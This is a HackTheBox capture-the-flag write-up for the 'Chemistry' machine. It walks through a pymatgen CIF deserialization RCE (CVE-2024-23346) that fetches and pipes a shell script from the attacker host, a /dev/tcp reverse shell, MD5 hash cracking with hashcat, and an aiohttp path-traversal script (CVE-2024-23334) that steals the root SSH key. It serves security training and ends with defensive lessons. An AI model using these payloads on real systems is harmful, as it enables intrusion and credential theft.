HTB: Chemistry Writeup
Chemistry - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Chemistry |
| OS | Linux |
| Difficulty | Easy |
| Points | N/A |
| Release Date | March 6, 2025 |
| IP Address | N/A |
| Author | d3vn0mi |
Machine Rating
⭐⭐☆☆☆ (2/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Chemistry is an easy-difficulty Linux machine that demonstrates real-world vulnerabilities in popular Python libraries. The attack chain begins with exploiting a Remote Code Execution (RCE) vulnerability in the pymatgen library (CVE-2024-23346) by uploading a malicious CIF file to a web-based CIF Analyzer. After gaining initial access, password hash cracking enables lateral movement to the rosa user via SSH. Privilege escalation is achieved by exploiting an Arbitrary File Read vulnerability in the AioHTTP library (CVE-2024-23334) running on an internal web service, allowing us to exfiltrate the root SSH private key and gain full system access.
TL;DR: Malicious CIF upload (pymatgen RCE) → Shell as app user → Hash cracking → SSH as rosa → Port forwarding → AioHTTP path traversal → Root private key exfiltration → Root access.
Reconnaissance
Port Scanning
# First, identify open portsnmap --open 10.129.49.198 | grep open | cut -d ' ' -f 1 | cut -d '/' -f 1 | paste -sd,
# Full enumeration on discovered portsnmap 10.129.49.198 -p 22,5000 -sV -sC -Pn --disable-arp-pingResults:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.115000/tcp open http Werkzeug httpd 3.0.3 (Python 3.9.5)Service Enumeration
Port 22 - SSH:
- OpenSSH 8.2p1 running on Ubuntu
- Standard SSH service, no obvious misconfigurations
Port 5000 - Web Application:
- Werkzeug 3.0.3 WSGI server running Python 3.9.5
- Hosts a “Chemistry - Home” web application for CIF file analysis
- Provides user registration and login functionality
- Dashboard allows file uploads
Vulnerability Assessment
The application accepts CIF (Crystallographic Information Files) uploads. Research into CIF file parsing reveals a critical vulnerability in the pymatgen library—a Python package widely used for materials science calculations. The library is susceptible to arbitrary code execution through specially crafted CIF files that leverage Python deserialization attacks.
Initial Foothold
Exploitation Path
Step 1: Understand the Target
CIF files are text-based crystallographic data files. The web application uses the pymatgen library to parse these files, making it vulnerable to CVE-2024-23346.
Step 2: Craft the Malicious CIF Payload
Create a reverse shell script to host:
#!/bin/bashecho -ne '#!/bin/bash\n/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.35/9000 0>&1"' > shell.shStart a Python HTTP server to serve the payload:
sudo python3 -m http.server 80Step 3: Create the Exploit CIF File
The exploit leverages Python’s built-in class hierarchy to execute arbitrary OS commands through the deserialization process:
data_5yOhtAoR_audit_creation_date 2018-06-08_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit"
loop__parent_propagation_vector.id_parent_propagation_vector.kxkykzk1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__(*[().__class__.__mro__[1]]+["__subclasses__"]) () if d.__name__ == "BuiltinImporter"][0].load_module("os").system("curl http://10.10.14.35/shell.sh|sh");0,0,0'
_space_group_magn.number_BNS 62.448Save this as kavi.cif.
Step 4: Execute the Exploit
- Register and log in to the Chemistry web application
- Upload
kavi.cifthrough the dashboard - View/process the uploaded file
- Catch the reverse shell connection:
rlwrap nc -lvnp 9000Shell obtained:
listening on [any] 9000 ...connect to [10.10.14.35] from (UNKNOWN) [10.129.49.198] 32946/bin/sh: 0: can't access tty; job control turned off$ script -c /bin/bash /dev/nullapp@chemistry:~$Privilege Escalation
Step 1: Enumerate the Database
Upgrade to an interactive shell and explore the application directory:
app@chemistry:~$ cd instanceapp@chemistry:~/instance$ ls -latotal 24drwxr-xr-x 2 app app 4096 Jan 10 14:32 .drwxr-xr-x 3 app app 4096 Jan 10 14:32 ..-rw-r--r-- 1 app app 20480 Jan 10 14:32 database.dbStep 2: Extract Password Hashes
Access the SQLite database and query the user table:
app@chemistry:~/instance$ sqlite3 database.dbsqlite> .tablesstructure user
sqlite> select * from user;1|admin|<hash>2|app|<hash>3|rosa|<hash>4|robert|<hash>5|jobert|<hash>6|carlos|<hash>7|peter|<hash>8|victoria|<hash>9|tania|<hash>10|eusebio|<hash>11|gelacia|<hash>12|fabian|<hash>13|axel|<hash>14|kristel|<hash>Step 3: Crack Password Hashes
Extract hashes and crack them with hashcat:
# Extract hashes from SQLite outputcat sqlite_output | cut -f 3 -d '|' > hashes
# Crack MD5 hashes (hash mode 0)hashcat -m 0 hashes /usr/share/wordlists/rockyou.txtSuccessfully cracked hashes:
<hash>:unicorniosrosados (rosa)<hash>:carlos123 (carlos)<hash>:peterparker (peter)<hash>:victoria123 (victoria)Step 4: Lateral Movement via SSH
Verify that rosa is a system user:
app@chemistry:~$ cat /etc/passwd | grep '/bin/bash'root:x:0:0:root:/root:/bin/bashrosa:x:1000:1000:rosa:/home/rosa:/bin/bashapp:x:1001:1001,,,:/home/app:/bin/bashSSH into the system as rosa:
ssh rosa@chemistry.htb# Password: unicorniosrosadosStep 5: Discover Internal Service
Check for internal listening ports:
rosa@chemistry:~$ ss -tlnpState Recv-Q Send-Q Local Address:Port Peer Address:Port ProcessLISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*LISTEN 0 128 0.0.0.0:22 0.0.0.0:*LISTEN 0 128 0.0.0.0:5000 0.0.0.0:*LISTEN 0 128 127.0.0.1:8080 0.0.0.0:*LISTEN 0 128 [::]:22 [::]:*An internal web service is running on port 8080.
Step 6: Port Forwarding
Forward the internal service to your local machine:
ssh -L 8080:127.0.0.1:8080 -N -vv rosa@10.129.49.198Step 7: Identify Vulnerable Service
Scan the forwarded port:
nmap -p 8080 -sV -sC 127.0.0.1Results:
PORT STATE SERVICE VERSION8080/tcp open http aiohttp 3.9.1 (Python 3.9)|_http-server-header: Python/3.9 aiohttp/3.9.1|_http-title: Site MonitoringAioHTTP 3.9.1 is vulnerable to CVE-2024-23334 (Arbitrary File Read via Path Traversal).
Step 8: Discover Exploitable Endpoint
Use directory enumeration to find static resource handling:
feroxbuster -u http://127.0.0.1:8080/ -w /usr/share/wordlists/dirb/directory-list-medium-2.3.txtKey findings:
200 GET 88l 171w 1380c http://127.0.0.1:8080/200 GET 5l 83w 59344c http://127.0.0.1:8080/assets/css/all.min.css200 GET 72l 171w 2491c http://127.0.0.1:8080/assets/js/script.js403 GET 1l 2w 14c http://127.0.0.1:8080/assetsThe /assets/ endpoint is the static file handler—perfect for path traversal exploitation.
Step 9: Exploit Path Traversal to Read Root Flag
Create an exploit script that uses ../ sequences to escape the assets directory:
#!/bin/bashurl="http://localhost:8080"string="../"payload="/assets/"file="root/root.txt" # without the leading /
for ((i=0; i<15; i++)); do payload+="$string" echo "[+] Testing with $payload$file" status_code=$(curl --path-as-is -s -o /dev/null -w "%{http_code}" "$url$payload$file") echo -e "\tStatus code --> $status_code"
if [ $status_code -eq 200 ]; then echo "[+] SUCCESS! File content:" curl -s --path-as-is "$url$payload$file" break fidoneRun the exploit:
chmod +x exploit.sh./exploit.shOutput:
[+] Testing with /assets/../root/root.txt Status code --> 404[+] Testing with /assets/../../root/root.txt Status code --> 404[+] Testing with /assets/../../../root/root.txt Status code --> 200<redacted>Step 10: Escalate to Root via SSH Key
Modify the exploit to extract the root SSH private key:
#!/bin/bash# exploit.sh (modified)url="http://localhost:8080"string="../"payload="/assets/"file="root/.ssh/id_rsa" # without the leading /
for ((i=0; i<15; i++)); do payload+="$string" echo "[+] Testing with $payload$file" status_code=$(curl --path-as-is -s -o /dev/null -w "%{http_code}" "$url$payload$file") echo -e "\tStatus code --> $status_code"
if [ $status_code -eq 200 ]; then echo "[+] SUCCESS! Extracting SSH key..." curl -s --path-as-is "$url$payload$file" > id_rsa break fidoneExecute and use the extracted key:
chmod +x exploit.sh./exploit.sh
# Set proper permissions on the private keychmod 600 id_rsa
# SSH into the target as rootssh -i id_rsa root@chemistry.htbAttack Chain Summary
Enumerate Port 5000 (Web App) ↓Identify CIF File Upload Vulnerability ↓Research pymatgen CVE-2024-23346 (RCE) ↓Craft Malicious CIF with OS Command Injection ↓Gain Shell as 'app' User ↓Extract Password Hashes from SQLite Database ↓Crack Hashes with Hashcat (rosa:unicorniosrosados) ↓SSH Lateral Movement to 'rosa' User ↓Discover Internal Port 8080 (aiohttp 3.9.1) ↓Port Forward Internal Service ↓Identify CVE-2024-23334 (Path Traversal in aiohttp) ↓Exploit /assets/ Endpoint with ../ Sequences ↓Read Root SSH Private Key ↓SSH as 'root' with Extracted Private Key ↓COMPLETETools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service version detection |
curl | HTTP requests and file retrieval via path traversal |
sqlite3 | Database queries to extract password hashes |
hashcat | Password hash cracking (MD5 mode 0) |
ssh | Secure shell access and port forwarding |
feroxbuster | Directory enumeration on web services |
nc / rlwrap | Netcat listener for reverse shell |
python3 | HTTP server for payload hosting |
Key Learnings
Techniques Practiced
- Python Deserialization Attacks: Exploiting unsafe deserialization in pymatgen through malicious CIF file injection
- Hash Cracking: Using hashcat to brute-force MD5 password hashes extracted from SQLite databases
- Path Traversal Exploitation: Leveraging
../sequences to bypass directory restrictions and read arbitrary files - Port Forwarding: Using SSH tunnels to access internal network services
- Lateral Movement: Chaining vulnerabilities and credential discovery to elevate privileges
- Static File Handler Exploitation: Identifying and exploiting misconfigured static resource serving in web frameworks
Lessons Learned
-
Input Validation is Critical: CIF file parsing without proper input sanitization allows arbitrary code execution. Always validate and sanitize user-supplied data before processing.
-
Credential Storage and Management: Plain-text or weakly-hashed credentials in SQLite databases pose significant security risks. Use strong hashing algorithms (bcrypt, Argon2) and never store plaintext passwords.
-
Layered Security: Multiple vulnerabilities were chained together to achieve root access. A single fix at any stage (e.g., strong passwords, library updates) would have broken the attack chain.
-
Dependency Management: Outdated libraries (pymatgen and aiohttp) contained known CVEs. Regular security audits and timely patching are essential.
-
Internal Services Require Protection: The internal aiohttp service on port 8080 was accessible after gaining user access. Internal services should still implement proper authentication and authorization controls.
-
Directory Traversal Prevention: Path normalization and strict allowlisting of accessible directories are critical controls for static file handlers.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>